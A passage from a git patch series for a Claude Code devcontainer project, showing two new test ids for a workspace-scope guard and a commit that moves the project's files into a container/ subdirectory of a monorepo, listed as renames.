ids=[ "write_inside_scope", @@ -217,6 +276,8 @@ def test_blocked(self, command, cwd): "cwd_is_workspaces_bypass", "allowlisted_tmp", "empty_command", + "sibling_dir_in_scope", + "project_root_file_in_scope", ], ) def test_allowed(self, command, cwd): From 6f9de0253d46a9016c51879363b364ea83a665c0 Mon Sep 17 00:00:00 2001 From: AnExiledDev Date: Wed, 4 Mar 2026 21:07:06 +0000 Subject: [PATCH 04/33] Restructure as monorepo: move container to subdirectory MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Move .git/ to project root so the entire workspace is tracked in a single repository. Git detects all container-root files as renames into the container/ subdirectory. Root-level files (.github/, LICENSE.txt, CLA.md, CONTRIBUTING.md, .gitattributes) remain at the repository root. The docs/ package was already tracked at docs/ and is unaffected by this change. This is a structural reorganization — no code changes. --- .gitignore | 114 ++++++++---------- .../config/ccstatusline-settings.json | 0 .../.codeforge}/config/keybindings.json | 0 .../.codeforge}/config/main-system-prompt.md | 0 .../config/orchestrator-system-prompt.md | 0 .../config/rules/session-search.md | 0 .../.codeforge}/config/rules/spec-workflow.md | 0 .../config/rules/workspace-scope.md | 0 .../.codeforge}/config/settings.json | 0 .../config/writing-system-prompt.md | 0 .../.codeforge}/file-manifest.json | 0 .../scripts/connect-external-terminal.ps1 | 0 .../scripts/connect-external-terminal.sh | 0 .../.devcontainer}/.env.example | 0 .../.devcontainer}/.gitignore | 0 .../.devcontainer}/.secrets.example | 0 .../.devcontainer}/CHANGELOG.md | 0 .../.devcontainer}/CLAUDE.md | 0 .../.devcontainer}/README.md | 0 .../.devcontainer}/devcontainer.json | 0 .../features/agent-browser/README.md | 0 .../agent-browser/devcontainer-feature.json | 0 .../features/agent-browser/install.sh | 0 .../features/ast-grep/README.md | 0 .../ast-grep/devcontainer-feature.json | 0 .../features/ast-grep/install.sh | 0 .../.devcontainer}/features/biome/README.md | 0 .../features/biome/devcontainer-feature.json | 0 .../.devcontainer}/features/biome/install.sh | 0 .../.devcontainer}/features/ccburn/README.md | 0 .../features/ccburn/devcontainer-feature.json | 0 .../.devcontainer}/features/ccburn/install.sh | 0 .../.devcontainer}/features/ccms/README.md | 0 .../features/ccms/devcontainer-feature.json | 0 .../.devcontainer}/features/ccms/install.sh | 0 .../features/ccstatusline/README.md | 0 .../ccstatusline/devcontainer-feature.json | 0 .../features/ccstatusline/install.sh | 0 .../.devcontainer}/features/ccusage/README.md | 0 .../ccusage/devcontainer-feature.json | 0 .../features/ccusage/install.sh | 0 .../features/chromaterm/README.md | 0 .../features/chromaterm/chromaterm.yml | 0 .../chromaterm/devcontainer-feature.json | 0 .../features/chromaterm/install.sh | 0 .../features/claude-code-native/README.md | 0 .../devcontainer-feature.json | 0 .../features/claude-code-native/install.sh | 0 .../features/claude-monitor/README.md | 0 .../claude-monitor/devcontainer-feature.json | 0 .../features/claude-monitor/install.sh | 0 .../claude-session-dashboard/README.md | 0 .../devcontainer-feature.json | 0 .../claude-session-dashboard/install.sh | 0 .../.devcontainer}/features/dprint/README.md | 0 .../features/dprint/devcontainer-feature.json | 0 .../.devcontainer}/features/dprint/install.sh | 0 .../features/hadolint/README.md | 0 .../hadolint/devcontainer-feature.json | 0 .../features/hadolint/install.sh | 0 .../features/kitty-terminfo/README.md | 0 .../kitty-terminfo/devcontainer-feature.json | 0 .../features/kitty-terminfo/install.sh | 0 .../features/lsp-servers/README.md | 0 .../lsp-servers/devcontainer-feature.json | 0 .../features/lsp-servers/install.sh | 0 .../features/mcp-qdrant/CHANGES.md | 0 .../features/mcp-qdrant/README.md | 0 .../mcp-qdrant/devcontainer-feature.json | 0 .../features/mcp-qdrant/install.sh | 0 .../features/mcp-qdrant/poststart-hook.sh | 0 .../features/notify-hook/README.md | 0 .../notify-hook/devcontainer-feature.json | 0 .../features/notify-hook/install.sh | 0 .../.devcontainer}/features/ruff/README.md | 0 .../features/ruff/devcontainer-feature.json | 0 .../.devcontainer}/features/ruff/install.sh | 0 .../features/shellcheck/README.md | 0 .../shellcheck/devcontainer-feature.json | 0 .../features/shellcheck/install.sh | 0 .../.devcontainer}/features/shfmt/README.md | 0 .../features/shfmt/devcontainer-feature.json | 0 .../.devcontainer}/features/shfmt/install.sh | 0 .../.devcontainer}/features/tmux/README.md | 0 .../features/tmux/devcontainer-feature.json | 0 .../.devcontainer}/features/tmux/install.sh | 0 .../features/tree-sitter/README.md | 0 .../tree-sitter/devcontainer-feature.json | 0 .../features/tree-sitter/install.sh | 0 .../.claude-plugin/marketplace.json | 0 .../plugins/devs-marketplace/.gitignore | 0 .../agent-system/.claude-plugin/plugin.json | 0 .../plugins/agent-system/AGENT-REDIRECTION.md | 0 .../plugins/agent-system/README.md | 0 .../plugins/agent-system/REVIEW-RUBRIC.md | 0 .../plugins/agent-system/agents/architect.md | 0 .../plugins/agent-system/agents/bash-exec.md | 0 .../agent-system/agents/claude-guide.md | 0 .../plugins/agent-system/agents/debug-logs.md | 0 .../agent-system/agents/dependency-analyst.md | 0 .../plugins/agent-system/agents/documenter.md | 0 .../plugins/agent-system/agents/explorer.md | 0 .../plugins/agent-system/agents/generalist.md | 0 .../agent-system/agents/git-archaeologist.md | 0 .../agent-system/agents/implementer.md | 0 .../agent-system/agents/investigator.md | 0 .../plugins/agent-system/agents/migrator.md | 0 .../agent-system/agents/perf-profiler.md | 0 .../plugins/agent-system/agents/refactorer.md | 0 .../plugins/agent-system/agents/researcher.md | 0 .../agent-system/agents/security-auditor.md | 0 .../agent-system/agents/spec-writer.md | 0 .../agent-system/agents/statusline-config.md | 0 .../agent-system/agents/test-writer.md | 0 .../plugins/agent-system/hooks/hooks.json | 0 .../scripts/guard-readonly-bash.py | 0 .../agent-system/scripts/inject-cwd.py | 0 .../scripts/redirect-builtin-agents.py | 0 .../scripts/task-completed-check.py | 0 .../scripts/teammate-idle-check.py | 0 .../scripts/verify-no-regression.py | 0 .../agent-system/scripts/verify-tests-pass.py | 0 .../agent-system/skills/debug/SKILL.md | 0 .../.claude-plugin/plugin.json | 0 .../plugins/auto-code-quality/README.md | 0 .../auto-code-quality/hooks/hooks.json | 0 .../scripts/advisory-test-runner.py | 0 .../scripts/collect-edited-files.py | 0 .../scripts/format-on-stop.py | 0 .../auto-code-quality/scripts/lint-file.py | 0 .../scripts/syntax-validator.py | 0 .../codeforge-lsp/.claude-plugin/plugin.json | 0 .../plugins/codeforge-lsp/README.md | 0 .../.claude-plugin/plugin.json | 0 .../dangerous-command-blocker/README.md | 0 .../hooks/hooks.json | 0 .../scripts/block-dangerous.py | 0 .../git-workflow/.claude-plugin/plugin.json | 0 .../plugins/git-workflow/README.md | 0 .../git-workflow/skills/pr-review/SKILL.md | 0 .../plugins/git-workflow/skills/ship/SKILL.md | 0 .../notify-hook/.claude-plugin/plugin.json | 0 .../plugins/notify-hook/README.md | 0 .../plugins/notify-hook/hooks/hooks.json | 0 .../.claude-plugin/plugin.json | 0 .../plugins/prompt-snippets/README.md | 0 .../prompt-snippets/skills/ps/SKILL.md | 0 .../.claude-plugin/plugin.json | 0 .../plugins/protected-files-guard/README.md | 0 .../protected-files-guard/hooks/hooks.json | 0 .../scripts/guard-protected-bash.py | 0 .../scripts/guard-protected.py | 0 .../.claude-plugin/plugin.json | 0 .../plugins/session-context/README.md | 0 .../plugins/session-context/hooks/hooks.json | 0 .../scripts/collect-session-edits.py | 0 .../scripts/commit-reminder.py | 0 .../scripts/git-state-injector.py | 0 .../session-context/scripts/todo-harvester.py | 0 .../skill-engine/.claude-plugin/plugin.json | 0 .../plugins/skill-engine/README.md | 0 .../plugins/skill-engine/hooks/hooks.json | 0 .../skill-engine/scripts/skill-suggester.py | 0 .../skill-engine/skills/api-design/SKILL.md | 0 .../api-design/references/error-handling.md | 0 .../api-design/references/rest-conventions.md | 0 .../skills/ast-grep-patterns/SKILL.md | 0 .../references/language-patterns.md | 0 .../skills/claude-agent-sdk/SKILL.md | 0 .../references/sdk-typescript-reference.md | 0 .../skills/claude-code-headless/SKILL.md | 0 .../references/cli-flags-and-output.md | 0 .../references/sdk-and-mcp.md | 0 .../skill-engine/skills/debugging/SKILL.md | 0 .../debugging/references/error-patterns.md | 0 .../debugging/references/log-locations.md | 0 .../skills/dependency-management/SKILL.md | 0 .../references/ecosystem-commands.md | 0 .../references/license-compliance.md | 0 .../skill-engine/skills/docker-py/SKILL.md | 0 .../references/container-lifecycle.md | 0 .../references/resources-and-security.md | 0 .../skill-engine/skills/docker/SKILL.md | 0 .../docker/references/compose-services.md | 0 .../docker/references/dockerfile-patterns.md | 0 .../skills/documentation-patterns/SKILL.md | 0 .../references/api-doc-templates.md | 0 .../references/docstring-formats.md | 0 .../skill-engine/skills/fastapi/SKILL.md | 0 .../references/middleware-and-lifespan.md | 0 .../fastapi/references/pydantic-models.md | 0 .../references/routing-and-dependencies.md | 0 .../fastapi/references/sse-and-streaming.md | 0 .../skills/git-forensics/SKILL.md | 0 .../references/advanced-commands.md | 0 .../references/investigation-playbooks.md | 0 .../skills/migration-patterns/SKILL.md | 0 .../references/javascript-migrations.md | 0 .../references/python-migrations.md | 0 .../skills/performance-profiling/SKILL.md | 0 .../references/interpreting-results.md | 0 .../references/tool-commands.md | 0 .../skill-engine/skills/pydantic-ai/SKILL.md | 0 .../references/agents-and-tools.md | 0 .../references/models-and-streaming.md | 0 .../skills/refactoring-patterns/SKILL.md | 0 .../references/safe-transformations.md | 0 .../references/smell-catalog.md | 0 .../skills/security-checklist/SKILL.md | 0 .../references/owasp-patterns.md | 0 .../references/secrets-patterns.md | 0 .../skills/skill-building/SKILL.md | 0 .../references/cross-vendor-principles.md | 0 .../references/patterns-and-antipatterns.md | 0 .../references/skill-authoring-patterns.md | 0 .../skill-engine/skills/sqlite/SKILL.md | 0 .../sqlite/references/advanced-queries.md | 0 .../sqlite/references/javascript-patterns.md | 0 .../sqlite/references/python-patterns.md | 0 .../sqlite/references/schema-and-pragmas.md | 0 .../skill-engine/skills/svelte5/SKILL.md | 0 .../svelte5/references/ai-sdk-svelte.md | 0 .../svelte5/references/component-patterns.md | 0 .../skills/svelte5/references/layercake.md | 0 .../svelte5/references/migration-guide.md | 0 .../references/runes-and-reactivity.md | 0 .../svelte5/references/spa-and-routing.md | 0 .../svelte5/references/svelte-dnd-action.md | 0 .../plugins/skill-engine/skills/team/SKILL.md | 0 .../skill-engine/skills/testing/SKILL.md | 0 .../testing/references/fastapi-testing.md | 0 .../testing/references/svelte-testing.md | 0 .../skill-engine/skills/worktree/SKILL.md | 0 .../references/manual-worktree-commands.md | 0 .../references/parallel-workflow-patterns.md | 0 .../spec-workflow/.claude-plugin/plugin.json | 0 .../plugins/spec-workflow/README.md | 0 .../plugins/spec-workflow/hooks/hooks.json | 0 .../spec-workflow/scripts/spec-reminder.py | 0 .../spec-workflow/skills/spec-build/SKILL.md | 0 .../spec-build/references/review-checklist.md | 0 .../spec-workflow/skills/spec-check/SKILL.md | 0 .../spec-workflow/skills/spec-init/SKILL.md | 0 .../spec-init/references/backlog-template.md | 0 .../references/milestones-template.md | 0 .../spec-init/references/roadmap-template.md | 0 .../spec-workflow/skills/spec-new/SKILL.md | 0 .../skills/spec-new/references/template.md | 0 .../spec-workflow/skills/spec-refine/SKILL.md | 0 .../spec-workflow/skills/spec-review/SKILL.md | 0 .../spec-workflow/skills/spec-update/SKILL.md | 0 .../skills/specification-writing/SKILL.md | 0 .../references/criteria-patterns.md | 0 .../references/ears-templates.md | 0 .../.claude-plugin/plugin.json | 0 .../plugins/ticket-workflow/README.md | 0 .../plugins/ticket-workflow/hooks/hooks.json | 0 .../ticket-workflow/scripts/ticket-linker.py | 0 .../skills/ticketcreate-pr/SKILL.md | 0 .../ticket-workflow/skills/ticketnew/SKILL.md | 0 .../skills/ticketreview-commit/SKILL.md | 0 .../skills/ticketwork/SKILL.md | 0 .../.claude-plugin/plugin.json | 0 .../plugins/workspace-scope-guard/README.md | 0 .../workspace-scope-guard/hooks/hooks.json | 0 .../scripts/guard-workspace-scope.py | 0 .../scripts/inject-workspace-cwd.py | 0 .../.devcontainer}/scripts/check-setup.sh | 0 .../.devcontainer}/scripts/preflight.sh | 0 .../.devcontainer}/scripts/setup-aliases.sh | 0 .../.devcontainer}/scripts/setup-auth.sh | 0 .../.devcontainer}/scripts/setup-config.sh | 0 .../scripts/setup-migrate-claude.sh | 0 .../scripts/setup-migrate-codeforge.sh | 0 .../.devcontainer}/scripts/setup-plugins.sh | 0 .../.devcontainer}/scripts/setup-projects.sh | 0 .../.devcontainer}/scripts/setup-terminal.sh | 0 .../scripts/setup-update-claude.sh | 0 .../.devcontainer}/scripts/setup.sh | 0 container/.gitignore | 84 +++++++++++++ .npmignore => container/.npmignore | 0 CLAUDE.md => container/CLAUDE.md | 0 README.md => container/README.md | 0 {logos => container/logos}/CodeForgeLogo.png | Bin .../logos}/CodeForgeLogoTr.png | Bin {logos => container/logos}/github-avatar.png | Bin package.json => container/package.json | 0 setup.js => container/setup.js | 0 test.js => container/test.js | 0 {tests => container/tests}/__init__.py | 0 {tests => container/tests}/conftest.py | 0 .../tests}/plugins/__init__.py | 0 .../tests}/plugins/test_block_dangerous.py | 0 .../tests}/plugins/test_guard_protected.py | 0 .../plugins/test_guard_protected_bash.py | 0 .../plugins/test_guard_readonly_bash.py | 0 .../plugins/test_guard_workspace_scope.py | 0 .../plugins/test_redirect_builtin_agents.py | 0 298 files changed, 131 insertions(+), 67 deletions(-) rename {.codeforge => container/.codeforge}/config/ccstatusline-settings.json (100%) rename {.codeforge => container/.codeforge}/config/keybindings.json (100%) rename {.codeforge => container/.codeforge}/config/main-system-prompt.md (100%) rename {.codeforge => container/.codeforge}/config/orchestrator-system-prompt.md (100%) rename {.codeforge => container/.codeforge}/config/rules/session-search.md (100%) rename {.codeforge => container/.codeforge}/config/rules/spec-workflow.md (100%) rename {.codeforge => container/.codeforge}/config/rules/workspace-scope.md (100%) rename {.codeforge => container/.codeforge}/config/settings.json (100%) rename {.codeforge => container/.codeforge}/config/writing-system-prompt.md (100%) rename {.codeforge => container/.codeforge}/file-manifest.json (100%) rename {.codeforge => container/.codeforge}/scripts/connect-external-terminal.ps1 (100%) rename {.codeforge => container/.codeforge}/scripts/connect-external-terminal.sh (100%) rename {.devcontainer => container/.devcontainer}/.env.example (100%) rename {.devcontainer => container/.devcontainer}/.gitignore (100%) rename {.devcontainer => container/.devcontainer}/.secrets.example (100%) rename {.devcontainer => container/.devcontainer}/CHANGELOG.md (100%) rename {.devcontainer => container/.devcontainer}/CLAUDE.md (100%) rename {.devcontainer => container/.devcontainer}/README.md (100%) rename {.devcontainer => container/.devcontainer}/devcontainer.json (100%) rename {.devcontainer => container/.devcontainer}/features/agent-browser/README.md (100%) rename {.devcontainer => container/.devcontainer}/features/agent-browser/devcontainer-feature.json (100%) rename {.devcontainer => container/.devcontainer}/features/agent-browser/install.sh (100%) rename {.devcontainer => container/.devcontainer}/features/ast-grep/README.md (100%) rename {.devcontainer => container/.devcontainer}/features/ast-grep/devcontainer-feature.json (100%) rename {.devcontainer => container/.devcontainer}/features/ast-grep/install.sh (100%) rename {.devcontainer => container/.devcontainer}/features/biome/README.md (100%) rename {.devcontainer => container/.devcontainer}/features/biome/devcontainer-feature.json (100%) rename {.devcontainer => container/.devcontainer}/features/biome/install.sh (100%) rename {.devcontainer => container/.devcontainer}/features/ccburn/README.md (100%) rename {.devcontainer => container/.devcontainer}/features/ccburn/devcontainer-feature.json (100%) rename {.devcontainer => container/.devcontainer}/features/ccburn/install.sh (100%) rename {.devcontainer => container/.devcontainer}/features/ccms/README.md (100%) rename {.devcontainer => container/.devcontainer}/features/ccms/devcontainer-feature.json (100%) rename {.devcontainer => container/.devcontainer}/features/ccms/install.sh (100%) rename {.devcontainer => container/.devcontainer}/features/ccstatusline/README.md (100%) rename {.devcontainer => container/.devcontainer}/features/ccstatusline/devcontainer-feature.json (100%) rename {.devcontainer => container/.devcontainer}/features/ccstatusline/install.sh (100%) rename {.devcontainer => container/.devcontainer}/features/ccusage/README.md (100%) rename {.devcontainer => container/.devcontainer}/features/ccusage/devcontainer-feature.json (100%) rename {.devcontainer => container/.devcontainer}/features/ccusage/install.sh (100%) rename {.devcontainer => container/.devcontainer}/features/chromaterm/README.md (100%) rename {.devcontainer => container/.devcontainer}/features/chromaterm/chromaterm.yml (100%) rename {.devcontainer => container/.devcontainer}/features/chromaterm/devcontainer-feature.json (100%) rename {.devcontainer => container/.devcontainer}/features/chromaterm/install.sh (100%) rename {.devcontainer => container/.devcontainer}/features/claude-code-native/README.md (100%) rename {.devcontainer => container/.devcontainer}/features/claude-code-native/devcontainer-feature.json (100%) rename {.devcontainer => container/.devcontainer}/features/claude-code-native/install.sh (100%) rename {.devcontainer => container/.devcontainer}/features/claude-monitor/README.md (100%) rename {.devcontainer => container/.devcontainer}/features/claude-monitor/devcontainer-feature.json (100%) rename {.devcontainer => container/.devcontainer}/features/claude-monitor/install.sh (100%) rename {.devcontainer => container/.devcontainer}/features/claude-session-dashboard/README.md (100%) rename {.devcontainer => container/.devcontainer}/features/claude-session-dashboard/devcontainer-feature.json (100%) rename {.devcontainer => container/.devcontainer}/features/claude-session-dashboard/install.sh (100%) rename {.devcontainer => container/.devcontainer}/features/dprint/README.md (100%) rename {.devcontainer => container/.devcontainer}/features/dprint/devcontainer-feature.json (100%) rename {.devcontainer => container/.devcontainer}/features/dprint/install.sh (100%) rename {.devcontainer => container/.devcontainer}/features/hadolint/README.md (100%) rename {.devcontainer => container/.devcontainer}/features/hadolint/devcontainer-feature.json (100%) rename {.devcontainer => container/.devcontainer}/features/hadolint/install.sh (100%) rename {.devcontainer => container/.devcontainer}/features/kitty-terminfo/README.md (100%) rename {.devcontainer => container/.devcontainer}/features/kitty-terminfo/devcontainer-feature.json (100%) rename {.devcontainer => container/.devcontainer}/features/kitty-terminfo/install.sh (100%) rename {.devcontainer => container/.devcontainer}/features/lsp-servers/README.md (100%) rename {.devcontainer => container/.devcontainer}/features/lsp-servers/devcontainer-feature.json (100%) rename {.devcontainer => container/.devcontainer}/features/lsp-servers/install.sh (100%) rename {.devcontainer => container/.devcontainer}/features/mcp-qdrant/CHANGES.md (100%) rename {.devcontainer => container/.devcontainer}/features/mcp-qdrant/README.md (100%) rename {.devcontainer => container/.devcontainer}/features/mcp-qdrant/devcontainer-feature.json (100%) rename {.devcontainer => container/.devcontainer}/features/mcp-qdrant/install.sh (100%) rename {.devcontainer => container/.devcontainer}/features/mcp-qdrant/poststart-hook.sh (100%) rename {.devcontainer => container/.devcontainer}/features/notify-hook/README.md (100%) rename {.devcontainer => container/.devcontainer}/features/notify-hook/devcontainer-feature.json (100%) rename {.devcontainer => container/.devcontainer}/features/notify-hook/install.sh (100%) rename {.devcontainer => container/.devcontainer}/features/ruff/README.md (100%) rename {.devcontainer => container/.devcontainer}/features/ruff/devcontainer-feature.json (100%) rename {.devcontainer => container/.devcontainer}/features/ruff/install.sh (100%) rename {.devcontainer => container/.devcontainer}/features/shellcheck/README.md (100%) rename {.devcontainer => container/.devcontainer}/features/shellcheck/devcontainer-feature.json (100%) rename {.devcontainer => container/.devcontainer}/features/shellcheck/install.sh (100%) rename {.devcontainer => container/.devcontainer}/features/shfmt/README.md (100%) rename {.devcontainer => container/.devcontainer}/features/shfmt/devcontainer-feature.json (100%) rename {.devcontainer => container/.devcontainer}/features/shfmt/install.sh (100%) rename {.devcontainer => container/.devcontainer}/features/tmux/README.md (100%) rename {.devcontainer => container/.devcontainer}/features/tmux/devcontainer-feature.json (100%) rename {.devcontainer => container/.devcontainer}/features/tmux/install.sh (100%) rename {.devcontainer => container/.devcontainer}/features/tree-sitter/README.md (100%) rename {.devcontainer => container/.devcontainer}/features/tree-sitter/devcontainer-feature.json (100%) rename {.devcontainer => container/.devcontainer}/features/tree-sitter/install.sh (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/.claude-plugin/marketplace.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/.gitignore (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/.claude-plugin/plugin.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/AGENT-REDIRECTION.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/README.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/REVIEW-RUBRIC.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/agents/architect.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/agents/bash-exec.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/agents/claude-guide.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/agents/debug-logs.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/agents/dependency-analyst.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/agents/documenter.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/agents/explorer.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/agents/generalist.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/agents/git-archaeologist.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/agents/implementer.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/agents/investigator.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/agents/migrator.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/agents/perf-profiler.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/agents/refactorer.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/agents/researcher.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/agents/security-auditor.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/agents/spec-writer.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/agents/statusline-config.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/agents/test-writer.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/hooks/hooks.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/scripts/guard-readonly-bash.py (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/scripts/inject-cwd.py (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/scripts/redirect-builtin-agents.py (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/scripts/task-completed-check.py (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/scripts/teammate-idle-check.py (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/scripts/verify-no-regression.py (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/scripts/verify-tests-pass.py (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/agent-system/skills/debug/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/auto-code-quality/.claude-plugin/plugin.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/auto-code-quality/README.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/auto-code-quality/hooks/hooks.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/auto-code-quality/scripts/advisory-test-runner.py (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/auto-code-quality/scripts/collect-edited-files.py (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/auto-code-quality/scripts/format-on-stop.py (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/auto-code-quality/scripts/lint-file.py (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/auto-code-quality/scripts/syntax-validator.py (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/codeforge-lsp/.claude-plugin/plugin.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/codeforge-lsp/README.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/dangerous-command-blocker/.claude-plugin/plugin.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/dangerous-command-blocker/README.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/dangerous-command-blocker/hooks/hooks.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/dangerous-command-blocker/scripts/block-dangerous.py (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/git-workflow/.claude-plugin/plugin.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/git-workflow/README.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/git-workflow/skills/pr-review/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/git-workflow/skills/ship/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/notify-hook/.claude-plugin/plugin.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/notify-hook/README.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/notify-hook/hooks/hooks.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/prompt-snippets/.claude-plugin/plugin.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/prompt-snippets/README.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/prompt-snippets/skills/ps/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/protected-files-guard/.claude-plugin/plugin.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/protected-files-guard/README.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/protected-files-guard/hooks/hooks.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected-bash.py (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected.py (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/session-context/.claude-plugin/plugin.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/session-context/README.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/session-context/hooks/hooks.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/session-context/scripts/collect-session-edits.py (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/session-context/scripts/commit-reminder.py (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/session-context/scripts/git-state-injector.py (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/session-context/scripts/todo-harvester.py (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/.claude-plugin/plugin.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/README.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/hooks/hooks.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/scripts/skill-suggester.py (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/api-design/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/api-design/references/error-handling.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/api-design/references/rest-conventions.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/ast-grep-patterns/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/ast-grep-patterns/references/language-patterns.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/claude-agent-sdk/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/claude-agent-sdk/references/sdk-typescript-reference.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/claude-code-headless/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/claude-code-headless/references/cli-flags-and-output.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/claude-code-headless/references/sdk-and-mcp.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/debugging/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/debugging/references/error-patterns.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/debugging/references/log-locations.md (100%) 